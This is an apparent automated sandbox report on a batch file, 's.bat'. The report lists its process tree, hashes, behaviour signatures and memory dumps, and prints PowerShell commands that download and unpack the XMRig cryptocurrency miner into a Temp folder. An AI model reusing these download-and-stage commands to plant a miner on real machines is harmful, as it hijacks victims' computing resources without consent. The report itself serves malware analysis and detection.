Analysis

  • max time kernel
    63s
  • max time network
    64s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20241211-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20241211-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    21-12-2024 15:07

General

  • Target

    s.bat

  • Size

    1KB

  • MD5

    1e64009a55d5a9eb64fd903f621e5ae0

  • SHA1

    0e5de7ecc2363d16ac2ae8f244d895cff70d6cdb

  • SHA256

    c5845905301cb177cd5ba386ab909a43ed5263ddbbc470ab0da8ef8c8bc82abf

  • SHA512

    2b28221714861951beeb73247a7ab58f4e68d3510e030d25787a13c6c715cea2b82d51cb1f262736dde8738e9ceb59420b4d4dc724524ece75a6a13978da8695

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\s.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4264
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-msvc-win64.zip -OutFile C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3012
    • C:\Windows\system32\timeout.exe
      timeout /t 10
      2⤵
      • Delays execution with timeout.exe
      PID:1268
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Expand-Archive -Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip -DestinationPath C:\Users\Admin\AppData\Local\Temp\xmrig"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1864

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    ed30ca9187bf5593affb3dc9276309a6

    SHA1

    c63757897a6c43a44102b221fe8dc36355e99359

    SHA256

    81fc6cfe81caf86f84e1285cb854082ac5e127335b5946da154a73f7aa9c2122

    SHA512

    1df4f44b207bb30fecee119a2f7f7ab7a0a0aed4d58eeabbec5791d5a6d9443cccffa5479ad4da094e6b88c871720d2e4bcf14ebec45a587ee4ec5e572f37810

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    78153de63c467e206b9b565dadeccfe6

    SHA1

    29ba7d083efb8e7c215d09dddd937ed8292d3f59

    SHA256

    2cf859da0d2b6da20d4f3ce8c1d497ac9152c90b9640f92d033b0a679d2e3f93

    SHA512

    913622de8c0885996a75f640b6e38300a0ca88d34f176c9f61eb5feb5c5be3e03868d3fceeb8c46b253d2977a2d8898cc4b10042940844f1d0af8a65b82f1a94

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cosawjec.ztj.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip

    Filesize

    2.5MB

    MD5

    57b7ab5bce7d5e47fd168e1f0d437d32

    SHA1

    050eeae3e0f0e876f9da175347b586871d14fe83

    SHA256

    1d903d39c7e4e1706c32c44721d6a6c851aa8c4c10df1479478ee93cd67301bc

    SHA512

    8cc6e3e0e78f706172a47bef261e1d73ce882ce531fe51177ba46cee659128e2115311d348ca07a717ff737e4bc802c7ca4cc57de716cbe55202b9482b5e2022

  • memory/1864-32-0x00007FFB73F00000-0x00007FFB749C2000-memory.dmp

    Filesize

    10.8MB

  • memory/1864-19-0x00007FFB73F00000-0x00007FFB749C2000-memory.dmp

    Filesize

    10.8MB

  • memory/1864-29-0x00007FFB73F00000-0x00007FFB749C2000-memory.dmp

    Filesize

    10.8MB

  • memory/1864-31-0x00007FFB73F00000-0x00007FFB749C2000-memory.dmp

    Filesize

    10.8MB

  • memory/1864-33-0x000002701F620000-0x000002701F632000-memory.dmp

    Filesize

    72KB

  • memory/1864-34-0x000002701CED0000-0x000002701CEDA000-memory.dmp

    Filesize

    40KB

  • memory/1864-57-0x00007FFB73F00000-0x00007FFB749C2000-memory.dmp

    Filesize

    10.8MB

  • memory/3012-13-0x00007FFB73F00000-0x00007FFB749C2000-memory.dmp

    Filesize

    10.8MB

  • memory/3012-17-0x00007FFB73F00000-0x00007FFB749C2000-memory.dmp

    Filesize

    10.8MB

  • memory/3012-12-0x00007FFB73F00000-0x00007FFB749C2000-memory.dmp

    Filesize

    10.8MB

  • memory/3012-11-0x00007FFB73F00000-0x00007FFB749C2000-memory.dmp

    Filesize

    10.8MB

  • memory/3012-0-0x00007FFB73F03000-0x00007FFB73F05000-memory.dmp

    Filesize

    8KB

  • memory/3012-6-0x000002079E410000-0x000002079E432000-memory.dmp

    Filesize

    136KB